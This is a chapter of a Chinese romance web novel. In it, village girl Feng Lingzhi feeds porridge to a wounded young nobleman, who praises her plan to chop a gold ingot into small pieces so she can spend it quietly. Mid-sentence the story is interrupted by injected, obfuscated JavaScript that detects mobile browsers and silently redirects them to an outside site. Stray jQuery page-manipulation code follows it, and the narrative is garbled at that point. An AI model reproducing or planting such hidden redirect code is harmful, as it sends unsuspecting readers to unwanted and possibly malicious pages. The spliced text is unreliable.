冯灵芝蹲在灶前，往灶膛里添了把柴。
昨儿夜里烧的那壶水，灶膛里的火星子还有。她扒开灰，露出里头红彤彤的炭，添上一把细柴，俯下身去吹。吹了两口，火苗就蹿起来了，映在她脸上，暖烘烘的。
她蹲在那儿看了一会儿火，发愣。
昨儿晚上没睡好，听了半宿的话，又在院子里站了那么久。脑子里总是转着那些话——“她会肯的”、“这几日劳烦你照应了”。
火苗闪了一下，冯灵芝又想起他那句——“冯灵芝”，念得慢慢的，像是在嘴里含了一下。她活了二十年，不是没人叫过她的名字，可从他嘴里叫出来，就是不一样……
她摇摇头，不让自己再想。
锅里添了水，她从墙角那口破缸里舀出小半碗米。缸里的米不多了，她看了看，又犹豫了一下，多抓了一把。
水开了，米下锅。她拿勺子慢慢搅着，一圈一圈的。
粥香慢慢飘出来，淡淡的，却勾人。她想起奶奶还在的时候，也是这么熬粥的。那时候家里更穷，米更少，奶奶就熬得稀稀的，说是粥，其实跟米汤差不多。可奶奶说，熬粥没什么诀窍，就是得有耐心，火不能大，得慢慢熬，熬到米开花了，粥就稠了，米粒就香了。
她往锅里看了一眼——米开花了吗？
开了。一粒一粒的米都煮开了，白花花的，在锅里翻腾着。
她又搅了一会儿，让火小些。粥越来越稠，米香越来越浓。她舀起一勺看了看，稠得挂勺了，这才满意地盖上锅盖，焖着。
没有小菜。她翻了翻墙角那个小罐子，里头还有几块去年腌的萝卜干。拿出来切成细条，搁在碗里，又滴了两滴香油——就两滴，多了舍不得。筷子拌了拌，香油的味儿就飘出来了，混着粥香，勾得人肚子叫。
她把粥盛进碗里，端起来闻了闻，自己先咽了咽口水。
寻常的白米粥，可熬好了，就是香的。
她端着碗往屋里走，走到门口又停下来，理了理头发，整了整衣裳。那件洗得发白的旧褂子还是抚不平，她拿手按了两下，又低头看了看自己的鞋尖——鞋尖上沾着泥，她拿鞋底蹭了蹭，蹭不掉。算了。
深吸一口气，掀开帘子，低头走进去。
屋里光线暗，她站在门边，眼睛不知道该往哪儿放。
床上那人靠在枕头上，听见动静就转过头来。看见是她，嘴角就扯起来了。
“早啊。”他说，声音还是沙哑的，可那懒洋洋的调子又回来了。
冯灵芝低着头，把碗放在床边的小凳上。
“粥。”她说，声音小得几乎听不见。
那人看了一眼那碗粥，又看她：“你做的？”
冯灵芝点点头。
那人伸手去端碗。用的是左手，没受伤的那只。可那碗有些烫，他刚端起来，眉头就皱了一下。
冯灵芝站在旁边，看见了，想说什么，又不敢说。
那人把碗端起来，凑到嘴边吹了吹。吹了两下，又放下了。他抬起头看她，眼里带着点委屈似的，跟个小孩儿一样：
“烫。”
冯灵芝愣了一下。
“你喂我。”他说，理直气壮的。
冯灵芝的脸腾地红了。从脸颊一直烧到耳朵根，烧得发烫。
她站在原地，动也不是，不动也不是。
那人看着她，也不催，就那么看着她，眼里带着笑，好像觉得挺有意思。
冯灵芝咬了咬嘴唇，走过去，在床边的小凳上坐下。
那小凳矮，她坐在上头，比床上的人矮了一截。她低着头，能看见他搭在被子上那只手——手指修长，指节分明，骨节处蹭破的皮已经结了痂。
她不敢多看，端起碗，拿勺子舀了一勺，凑到嘴边轻轻吹了吹。吹的时候，能感觉到他的目光落在自己脸上，烫烫的。
她把勺子递到他嘴边，低着头，不敢看他。
那人张嘴吃了。
冯灵芝没抬头，可她听得见他嚼的声音。一下，两下，咽下去了。
“好吃。”他说。
冯灵芝的耳朵根子更热了。她又舀了一勺，吹了吹，递过去。
那人又吃了。这回咽下去之后，他又说了一句：“真好吃。”
冯灵芝不知道说什么，只能接着舀第三勺。
第三勺递过去的时候，她忍不住偷偷抬眼看了一眼——他正看着她，眼里带着笑，像是发现了什么好玩的事。
冯灵芝手一抖，勺子差点掉了。
她把碗往他手里一塞，站起来就往外走：“我、我还有事，你、你自己吃……”
“哎——”那人在身后叫她。
她没回头，掀开帘子就跑出去了。
站在院子里，风吹过来，凉凉的，可脸上的热度还是下不去。她拿手背贴了贴脸，烫的。又贴了贴耳朵，更烫。
她在院子里站了好一会儿，等脸上的热度慢慢退下去，才敢往回走。
走到门口，没进去，就站在帘子边上，偷偷往里瞧。
屋里光线暗，可她一眼就看见他了。那人端着碗，正一口一口地喝着粥。用的是没受伤的那只手，动作不快，一勺一勺的，可就是看着跟别人不一样。
村里人吃饭她也见过。端着碗呼噜呼噜的，三两口就扒完了，有时候还吧唧嘴，声音能传出老远。她奶奶吃饭也快，说是饿怕了，吃慢了怕没了。
可这人不一样。
他喝粥喝得斯文。勺子碰到碗沿，没声儿。喝的时候，也没声儿。腰背挺着，肩膀放平，坐在那张破旧的木板床上，却像是坐在什么大户人家的饭桌上似的。一勺一勺的，不紧不慢，好像在品什么山珍海味。
冯灵芝看着看着，有些发愣。
她想起那些婆子说的话……这人是少爷，是大户人家的。她又想起那壮汉的靴子，靴筒上还绣着暗纹。想起那锭金子，黄澄澄的，比拇指还粗。想起郎中说话时的恭敬，还有那些话里话外藏着的东西。
这人……跟她不是一个世道的。
她摇摇头，不让自己想下去。
灶房墙角靠着把斧子，是平日里劈柴用的。她走过去，把斧子拎起来。有点沉，她双手握着，在地上顿了顿。又找了块旧布，是奶奶留下来的，洗得发白了，可还结实。她把布铺在地上，蹲下来，又从怀里摸出那锭金子。
金子还带着她的体温，暖的。
她把金子放在布上，黄澄澄的一锭，在灰扑扑的布上格外打眼。她盯着看了一会儿，举起斧子，正要劈下去——
“干什么呢？”
身后突然传来声音。
冯灵芝吓了一跳，手里的斧子差点脱手。她猛地回过头——
那人不知道什么时候出来了，靠在门框上。身上披着那件外袍，没系带子，就那么敞着，露出里头的白色中衣。脸色还是白，可精神看着好了不少。他靠在门框上，歪着头看她，眼里带着笑。
冯灵芝赶紧站直，手都不知道往哪儿放：“你、你怎么出来了？外头凉，你不能——”
“没事。”那人摆摆手，打断她。他慢慢走过来，走到她跟前，低头看她手里的斧子，又看地上铺的布、布上那锭金子，“劈柴？”
冯灵芝摇摇头。
那人看着她，等着。
冯灵芝低下头，盯着手里的斧子。斧柄是木头做的，被她握得久了，磨得光滑。她攥着，攥得指节发白。
过了好一会儿，她才开口。
“昨日……昨日那位大哥给了一锭金子。”她说，声音小。
“嗯。”
“说让我买补品给你。”
“嗯。”
冯灵芝咬了咬嘴唇：“可我怕……我怕拿去镇上花，惹人怀疑。”
那人没说话。
冯灵芝低着头，声音更小了，小得几乎听不见：“我一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391772|200314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
山里的妇人，突然拿出这么大一锭金子，买鸡买骨头的……村里人看见了会问，镇上的人看见了也会问。到时候传出去，我怕……怕给你惹麻烦。”
她还是低着头，可她感觉得到，他在看着她。
“昨日我听你们说话，”她又说，声音发紧，“知道你不想让人知道……你在这儿的消息。”
她顿了顿，深吸一口气：“所以我想，把金锭子劈成小块，拿去换成碎银子，再买东西。这样就不显眼了。去镇上换银子的地方我知道，那掌柜人厚道，不会多问的。”
她说完，又赶紧补了一句：“我会小心劈的，不浪费。买了什么东西，花了多少，我都记账。剩下的，到时候再还给你们。”
然后等了半天，没听见回应。
她抬起头。
那人正看着她。
那眼神她看不懂。不是懒洋洋的，也不是在笑，就是……看着她，认认真真地看着她。像是第一次见她似的，又像是见了很久，到今天才发现什么。
冯灵芝被他看得心口发紧，又低下头去。
“冯灵芝。”他叫她的名字。
她不敢抬头。
“那金子给你了，就是你的。”他说。
冯灵芝愣了一下。
“给你了，就是你的。”他又说了一遍，声音还是那副懒洋洋的调子，可又好像有什么不一样，“我这段时间吃的用的，另算。回头我让人把银子补给你。”
冯灵芝抬起头，看着他。
那人站在晨光里。身上披着那件外袍，脸色还是白的，可眼睛亮得很。他看着她，嘴角扯起来，这回的笑，好像跟之前不太一样。
“我只是没想到，”他说，慢悠悠的，“这样一个偏僻的小山村里长出来的姑娘，居然能有这样的智慧。”
冯灵芝愣住了。
她张了张嘴，想说什么，可什么都说不出来。
智慧？
从来没人这么说过她。
村口那些婆子说她命硬，说她克亲，说她晦气。村里人看见她就绕着走，怕沾上她倒霉。没人说她好，更没人说她有智慧。
可这个人说——这样的智慧。
冯灵芝的脸腾地红了。从脸颊烧到耳朵根，烧到脖子，烧得发烫。她低下头，盯着自己的鞋尖，鞋尖上沾着泥，还没蹭掉。
那人笑了一声，转身往回走。
走了两步，又停下来，回过头来。
“劈吧。”他说，嘴角还带着笑，“劈完了，该买什么买什么。不用记账，怪麻烦的。”
说完，他掀开帘子，进屋去了。
冯灵芝站在原地，脸上的热度烧得厉害。
风吹过来，凉凉的，可她一点都不觉得冷。她就那么站着，站了好一会儿，心里头那句话翻来覆去的——“这样的智慧”、“这样的智慧”。
她低下头，盯着手里的斧子，盯着地上那锭金子。
蹲下拿起来，在手里掂了掂，沉沉的。又放回布上，举起斧子，对准，深吸一口气，劈下去。
一下。
金子裂开一道缝。
两下。
裂成两半。
三下，四下，五下。
金子裂成一小块一小块，蹦到布上，在晨光里泛着温润的光。
她放下斧子，把那几块金子一块一块捡起来，又揣进怀里，贴着心口的位置。沉甸甸的，硌得她忍不住挺了挺背。
她没敢往屋里看。
深吸一口气，背起背篓往外走。
走出院子，走上那条通往镇上的小路。路边的草叶上挂着露水，打湿了她的鞋尖。她低头看了一眼，鞋尖上沾的泥和露水混在一起，更脏了。
可她一点都不在意。
她往前走，手按在怀里的金子上，按得紧紧的。
风吹过来，凉凉的，带着草木的湿气。她深深吸了一口气，觉得今天的风都是甜的。